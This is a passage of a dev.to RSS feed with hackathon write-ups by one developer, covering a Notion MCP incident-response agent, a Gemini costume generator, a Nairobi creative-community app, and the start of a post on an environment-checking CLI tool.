      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/notion-2026-03-04"&gt;Notion MCP Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;Incident Runbook is an agent that turns Notion into a living incident response system. It watches an Incidents database, and when a new SEV1 or SEV2 appears, it cross-references three other databases (Services, Runbooks, On-Call), assembles a War Room page with everything the responder needs, and writes it back to Notion. When the incident is marked resolved, it generates an AI post-mortem with Gemini 2.5 Flash.&lt;/p&gt;

&lt;p&gt;The whole thing runs through Notion's MCP server. No REST calls, no webhooks, no middleware layer.&lt;/p&gt;

&lt;p&gt;I built this because incident response at most companies is still a manual scramble. The runbook exists somewhere, the on-call schedule is in a different tool, and the service dependency map is in someone's head. This agent pulls all of that together in seconds.&lt;/p&gt;

&lt;h2&gt;
  
  
  Video Demo
&lt;/h2&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/jyNJNNQCnyA"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Show us the code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/lewisawe" rel="noopener noreferrer"&gt;
        lewisawe
      &lt;/a&gt; / &lt;a href="https://github.com/lewisawe/incident-runbook" rel="noopener noreferrer"&gt;
        incident-runbook
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;🚨 Incident Runbook — AI-Powered Incident Response for Notion&lt;/h1&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;Built for the Notion MCP Hackathon — zero direct API calls, 100% MCP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The Problem&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;When a SEV1 hits at 2am, engineers scramble: "Where's the runbook? Who's on-call? What depends on this service?" They're copy-pasting from scattered docs, pinging Slack, and losing precious minutes. Incident response shouldn't require tribal knowledge — it should be automated.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The Solution&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Incident Runbook turns your Notion workspace into a living incident response system. Log an incident → a full war room assembles itself in seconds.&lt;/p&gt;
&lt;p&gt;It connects to Notion entirely through the Model Context Protocol (MCP) — reading databases, assembling pages, and writing post-mortems without a single direct API call.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;How It Works&lt;/h3&gt;

&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Detect&lt;/strong&gt; — Scans your Incidents database for new SEV1/SEV2/SEV3 entries&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lookup&lt;/strong&gt; — Finds the affected service, pulls its runbook, maps dependencies&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Assemble&lt;/strong&gt; — Creates a War Room page with
&lt;ul&gt;
&lt;li&gt;Incident details and…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lewisawe/incident-runbook" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  How I Used Notion MCP
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The four-database pattern
&lt;/h3&gt;

&lt;p&gt;The agent coordinates across four Notion databases in a single scan: Incidents, Services, Runbooks, and On-Call. Each scan starts with &lt;code&gt;notion-search&lt;/code&gt; on the Incidents database to find new or resolved entries. For each incident, it follows the "Affected Service" relation to the Services database, then follows the "Runbook" relation from that service to the Runbooks database, and pulls contacts from the On-Call database filtered by role.&lt;/p&gt;

&lt;p&gt;This means a single incident triggers reads across all four databases. The MCP call pattern looks like:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;notion-fetch&lt;/code&gt; on the database ID to get the &lt;code&gt;collection://&lt;/code&gt; data source URL&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;notion-search&lt;/code&gt; with that URL to get page IDs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;notion-fetch&lt;/code&gt; on each page to get properties and content&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For a scan with 1 incident, 3 services, 2 runbooks, and 4 on-call contacts, that's roughly 20 MCP calls. Chatty, but each call is fast and the total scan takes a few seconds.&lt;/p&gt;

&lt;h3&gt;
  
  
  Relation resolution was the trickiest part
&lt;/h3&gt;

&lt;p&gt;Notion MCP returns relation properties as arrays of page URLs, not IDs. So an incident's "Affected Service" looks like &lt;code&gt;["https://www.notion.so/abc123def456"]&lt;/code&gt; rather than a clean ID. Matching that to the actual service record means parsing the URL, stripping dashes, and normalizing to a consistent format across all four databases.&lt;/p&gt;

&lt;p&gt;I spent more time debugging ID mismatches than writing the actual war room assembly. Services fetched from the database had IDs in one format, while the relation URLs from incidents had them in another. The fix was normalizing everything to dashless hex strings on read.&lt;/p&gt;

&lt;h3&gt;
  
  
  Writing Markdown back to Notion
&lt;/h3&gt;

&lt;p&gt;The war room page is a single Markdown string that Notion renders natively. It includes a details table, on-call contacts list, the full runbook steps, dependent services, a timeline, and an action checklist with checkboxes. Creating it is one &lt;code&gt;notion-create-pages&lt;/code&gt; call with the incident page as the parent.&lt;/p&gt;

&lt;p&gt;The post-mortem works the same way. The agent calculates MTTR from the incident creation time to resolution, feeds the incident details and timeline to Gemini 2.5 Flash, and writes the AI output into a new page.&lt;/p&gt;

&lt;h3&gt;
  
  
  Watch mode and connection reuse
&lt;/h3&gt;

&lt;p&gt;The agent has a &lt;code&gt;watch&lt;/code&gt; mode that polls every 30 seconds. An early version spawned a new &lt;code&gt;mcp-remote&lt;/code&gt; process on every poll cycle, which ate system resources fast. The fix was extracting the scan logic into a function that accepts an existing MCP client, so &lt;code&gt;watch&lt;/code&gt; creates one connection and reuses it across all cycles.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I'd do differently
&lt;/h3&gt;

&lt;p&gt;The property parsing is fragile. Properties come back inside a &lt;code&gt;&amp;lt;properties&amp;gt;&lt;/code&gt; XML block as JSON, and the key names are case-sensitive and sometimes inconsistent (I found both &lt;code&gt;"status"&lt;/code&gt; and &lt;code&gt;"Status"&lt;/code&gt; depending on how the database was configured). A more robust version would normalize property keys on read. But for a hackathon, regex and case-checking got the job done&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>notionchallenge</category>
      <category>mcp</category>
      <category>ai</category>
    </item>
    <item>
      <title>Solving Halloween with Google Gemini and Iterative Image Generation</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Wed, 04 Mar 2026 11:25:41 +0000</pubDate>
      <link>https://dev.to/lewisawe/solving-halloween-with-google-gemini-and-iterative-image-generation-em4</link>
      <guid>https://dev.to/lewisawe/solving-halloween-with-google-gemini-and-iterative-image-generation-em4</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/mlh-built-with-google-gemini-02-25-26"&gt;Built with Google Gemini: Writing Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built with Google Gemini
&lt;/h2&gt;

&lt;p&gt;I built an AI Halloween Costume Generator because picking a costume is harder than it should be. You either spend hours scrolling through the same generic ideas online, or you have a vague concept but no clue how to actually make it. I wanted something that could take any input a text idea, a photo, or literally nothing and turn it into a complete DIY guide with materials, steps, and visuals.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjxabzsfg8m9sanl84owx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjxabzsfg8m9sanl84owx.png" alt="Horse Courasel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The app works three ways. You can search for costume ideas by typing anything ("costumes for my dog," "spooky sci-fi"), and it gives you five different concepts to pick from. You can upload a photo of an object, person, or pet, and it generates a costume based on that image. Or if you're completely stuck, there's a "Surprise Me" button that creates something random.&lt;/p&gt;

&lt;p&gt;Once you pick an idea, you get a full breakdown with materials, estimated cost, difficulty level, and step-by-step instructions. The interesting part is the visuals. Instead of generic stock photos or disconnected diagrams, each instruction step has an image that builds on the previous one. You literally watch the costume come together piece by piece.&lt;/p&gt;

&lt;p&gt;I used three different Gemini models for this. gemini-2.5-flash handles all the text generation and structured data costume names, descriptions, materials lists, instructions. I defined a JSON schema so the output is always consistent and easy to work with. imagen-4.0-generate-001 creates the first image for each costume guide. Then gemini-2.5-flash-image-preview does something cool it takes the previous step's image and adds the new elements described in the current step. So instead of generating five separate images, it's building one image progressively.&lt;/p&gt;

&lt;p&gt;That additive image generation was the hardest part to get right. The model needs to understand what's already in the image, what the text is asking it to add, and how to blend them naturally. It took experimentation to figure out the right prompts and image parameters, but when it works, it makes the instructions way easier to follow than text alone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;

&lt;/p&gt;
&lt;div class="ltag__cloud-run"&gt;
  &lt;iframe height="600px" src="https://halloween-costume-generator-610288702971.us-west1.run.app/"&gt;
  &lt;/iframe&gt;
&lt;/div&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;I learned that multimodal doesn't just mean "uses images and text." It's about how those modes interact. The additive image feature only works because the model can see the previous image and understand the text instruction at the same time. That's different from just generating images from text prompts.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6cewlwhjjbh46on1zxpe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6cewlwhjjbh46on1zxpe.png" alt="Ghost"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Structured outputs made this project manageable. Without the JSON schema, I'd be parsing freeform text and dealing with inconsistent formats. With it, I know exactly what I'm getting back every time, which makes building a UI straightforward.&lt;/p&gt;

&lt;p&gt;The search feature taught me something about prompt design. Asking for "five costume ideas" in one call is way more efficient than making five separate calls, and the results are actually more diverse because the model can differentiate them in context.&lt;/p&gt;

&lt;h2&gt;
  
  
  Google Gemini Feedback
&lt;/h2&gt;

&lt;p&gt;The image editing model (gemini-2.5-flash-image-preview) was the star here. Being able to iteratively build on an image is powerful and not something I've seen done well elsewhere. It worked better than I expected for this use case.&lt;/p&gt;

&lt;p&gt;Structured outputs continue to be essential. They're the difference between a prototype and something you can actually ship.&lt;/p&gt;

&lt;p&gt;The friction came from tuning the image generation. Sometimes the additive steps would drift from the original concept, or the model would reinterpret elements instead of just adding to them. I had to be specific in the prompts about what to preserve and what to add. It wasn't a model limitation as much as figuring out how to communicate clearly with it.&lt;/p&gt;

&lt;p&gt;One thing I'd like is better control over image composition in the editing model. Being able to specify regions or layers would make the additive process more predictable. But overall, the multimodal capabilities let me build something I couldn't have built otherwise.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>geminireflections</category>
      <category>gemini</category>
    </item>
    <item>
      <title>Qwani Connect, the Nairobi's Young Creatives Community Hub</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 01 Mar 2026 23:55:11 +0000</pubDate>
      <link>https://dev.to/lewisawe/qwani-connect-the-nairobis-young-creatives-community-hub-i2m</link>
      <guid>https://dev.to/lewisawe/qwani-connect-the-nairobis-young-creatives-community-hub-i2m</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/weekend-2026-02-28"&gt;DEV Weekend Challenge: Community&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Community
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbmqnyddi88yyw8fq8lg9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbmqnyddi88yyw8fq8lg9.png" alt="Abou Qwani"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Qwani is a youth-led creative community based in Nairobi, Kenya. What started as a platform for young writers to get published has grown into a home for artists, musicians, film-makers, illustrators, poets, and anyone who creates.&lt;/p&gt;

&lt;p&gt;Every month, Qwani hosts events that bring people together in ways that are hard to find anywhere else in the city:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hikes&lt;/strong&gt; "positive suffering," as the community calls it. Last Saturday of every month.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sketch Tours&lt;/strong&gt; along Nairobi,  walk, learn the history of iconic buildings like Kipande House and McMillan Library, and sketch the city around you.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Poetry &amp;amp; Letter Reading Sessions&lt;/strong&gt; at the American Corner on Moi Avenue, submit a poem or an unconventional letter, and the group reads and openly critiques it together.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trivia Nights&lt;/strong&gt; — board games, Kahoot, and team quizzes. Think you know all 55 African capitals?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhnmffki4607s50ifvume.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhnmffki4607s50ifvume.png" alt="Qwani Events"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Open Mics&lt;/strong&gt; — poets, musicians, and spoken-word artists get a stage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Karaoke &amp;amp; Crafts&lt;/strong&gt; — sing Sauti Sol with your friends while others learn bead-making and crochet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Picnics&lt;/strong&gt; at the Arboretum, &lt;strong&gt;Cycling Tours&lt;/strong&gt; through Karura Forest, and &lt;strong&gt;Book Discussions&lt;/strong&gt; with author panels.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I'm part of this community, and I built Qwani Connect for them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Qwani Connect&lt;/strong&gt; is a community platform that solves three real problems I noticed:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Event Discovery &amp;amp; RSVP
&lt;/h3&gt;

&lt;p&gt;Qwani's events are currently scattered across Instagram stories, WhatsApp groups, and word of mouth. Qwani Connect puts every event in one place with RSVP functionality and a real-time &lt;strong&gt;"Who's Going"&lt;/strong&gt; feature, you can see avatar initials of people who've RSVP'd, creating social proof and FOMO before you even commit.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The Wall — A Live Poetry &amp;amp; Writing Feed
&lt;/h3&gt;

&lt;p&gt;Currently, members submit poems and letters via email before reading sessions. Qwani Connect replaces that with &lt;strong&gt;The Wall&lt;/strong&gt; a live masonry-layout feed where submitted poems, letters, and stories appear instantly for the whole community to read and heart.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyeciqqexkmvrhtca71kx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyeciqqexkmvrhtca71kx.png" alt="The Wall"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Wall uses &lt;strong&gt;Supabase Realtime&lt;/strong&gt; — when someone submits a new piece, it appears for everyone without a page refresh. The feed is multilingual, just like the community English, Swahili, and Sheng all live side by side.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The Suffering Streak
&lt;/h3&gt;

&lt;p&gt;Qwani's monthly hikes are legendary. The community bonds through what they call "positive suffering." I turned this inside joke into a feature: &lt;strong&gt;The Suffering Streak&lt;/strong&gt; tracks your consecutive monthly hike attendance with a leaderboard.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgizotewbmf4w25i3r2vi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgizotewbmf4w25i3r2vi.png" alt="Streak"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Miss a month? Your streak resets. The fire emojis scale with your commitment — 🔥 for beginners, 🔥🔥 for regulars, 🔥🔥🔥 for the truly committed. It's gamification that only makes sense if you know this community, and that's exactly the point.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://main.d1ledrbyelrj6q.amplifyapp.com/" class="crayons-btn crayons-btn--primary" rel="noopener noreferrer"&gt;Check out the Live Demo&lt;/a&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;[GitHub Repo for Qwani Connect]{&lt;a href="https://github.com/lewisawe/qwani-connect" rel="noopener noreferrer"&gt;https://github.com/lewisawe/qwani-connect&lt;/a&gt;}&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Tech Stack
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Choice&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Framework&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Next.js 16&lt;/strong&gt; (App Router)&lt;/td&gt;
&lt;td&gt;Server components for fast initial load, API routes for backend logic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Supabase&lt;/strong&gt; (Postgres + Realtime)&lt;/td&gt;
&lt;td&gt;Realtime subscriptions for The Wall and Who's Going, Row Level Security, instant setup&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Icons&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Lucide React&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Clean, consistent iconography&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deployment&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AWS Amplify&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hosting with CI/CD from GitHub&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Database Design
&lt;/h3&gt;

&lt;p&gt;Four tables with Row Level Security:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;events&lt;/span&gt;      &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rsvp_count&lt;/span&gt;
&lt;span class="n"&gt;rsvps&lt;/span&gt;       &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;unique&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;submissions&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;author_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;poem&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;letter&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;story&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;streaks&lt;/span&gt;     &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hike_count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;current_streak&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last_hike_month&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Postgres trigger auto-increments &lt;code&gt;rsvp_count&lt;/code&gt; when a new RSVP is inserted. The streak API calculates month-over-month continuity server-side to prevent gaming.&lt;/p&gt;

&lt;h3&gt;
  
  
  Realtime Features
&lt;/h3&gt;

&lt;p&gt;Two features use Supabase Realtime subscriptions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The Wall&lt;/strong&gt; subscribes to &lt;code&gt;INSERT&lt;/code&gt; events on &lt;code&gt;submissions&lt;/code&gt; — new poems appear instantly for all viewers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Who's Going&lt;/strong&gt; subscribes to &lt;code&gt;INSERT&lt;/code&gt; events on &lt;code&gt;rsvps&lt;/code&gt; filtered by &lt;code&gt;event_id&lt;/code&gt; — new RSVPs show up live on event cards&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  What Makes This Different
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvi43f1yx3jm2uhuuc7x2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvi43f1yx3jm2uhuuc7x2.png" alt="Qwani iko nini"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Suffering Streak is technically just a counter with date logic, but it resonates because it's built on an inside joke. The Wall is a living space where Sheng poems sit next to Swahili letters sit next to English stories, exactly like a real Qwani session.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>weekendchallenge</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Building env-doctor with GitHub Copilot CLI</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sun, 15 Feb 2026 23:09:49 +0000</pubDate>
      <link>https://dev.to/lewisawe/building-env-doctor-with-github-copilot-cli-55m7</link>
      <guid>https://dev.to/lewisawe/building-env-doctor-with-github-copilot-cli-55m7</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/github-2026-01-21"&gt;GitHub Copilot CLI Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;I built env-doctor, a CLI tool that automatically checks if your local environment matches what your project expects. You know that frustrating moment when you clone a project and spend an hour figuring out why it won't run? Usually it's missing Node versions, environment variables, or services that weren't mentioned clearly in the README. This tool solves that.&lt;/p&gt;

&lt;p&gt;It scans your project files - package.json, Dockerfile, docker-compose.yml, README, CI configs, and more - then extracts what the project actually needs. After that, it checks your local setup and gives you a clear checklist of what's working and what needs fixing. Instead of hunting through documentation, you get a direct report: "Node.js ✅, Docker ✅, PostgreSQL ❌ not running, DATABASE_URL ❌ missing."&lt;/p&gt;

&lt;p&gt;The tool covers runtime versions, package managers, databases, services, environment variables, and port availability. It works with Node.js, Python, Go projects and gives you actionable suggestions for fixing issues. There's also JSON output for CI pipelines and a verbose mode that explains everything it found.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;The tool is available at &lt;a href="https://github.com/lewisawe/env-doctor" rel="noopener noreferrer"&gt;github.com/env-doctor&lt;/a&gt; with a comprehensive example project that demonstrates all features.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feyxr4qnvdvmt7hqajjaj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feyxr4qnvdvmt7hqajjaj.png" alt="Env-Doctor" width="682" height="329"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's what happens when you run it on a complex project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;env-doctor &lt;span class="nt"&gt;--verbose&lt;/span&gt;

env-doctor - Analyzing project environment...

Runtime Versions:
✅ Node.js 18.17.0 &lt;span class="o"&gt;(&lt;/span&gt;required: &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;18.0.0&lt;span class="o"&gt;)&lt;/span&gt;
✅ Docker running &lt;span class="o"&gt;(&lt;/span&gt;v24.0.7&lt;span class="o"&gt;)&lt;/span&gt;
❌ Python 3.8.10 &lt;span class="o"&gt;(&lt;/span&gt;required: &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;3.9.0&lt;span class="o"&gt;)&lt;/span&gt;

Services:
❌ redis not found
✅ PostgreSQL accessible on port 5432

Environment Variables:
❌ DATABASE_URL environment variable not &lt;span class="nb"&gt;set&lt;/span&gt;
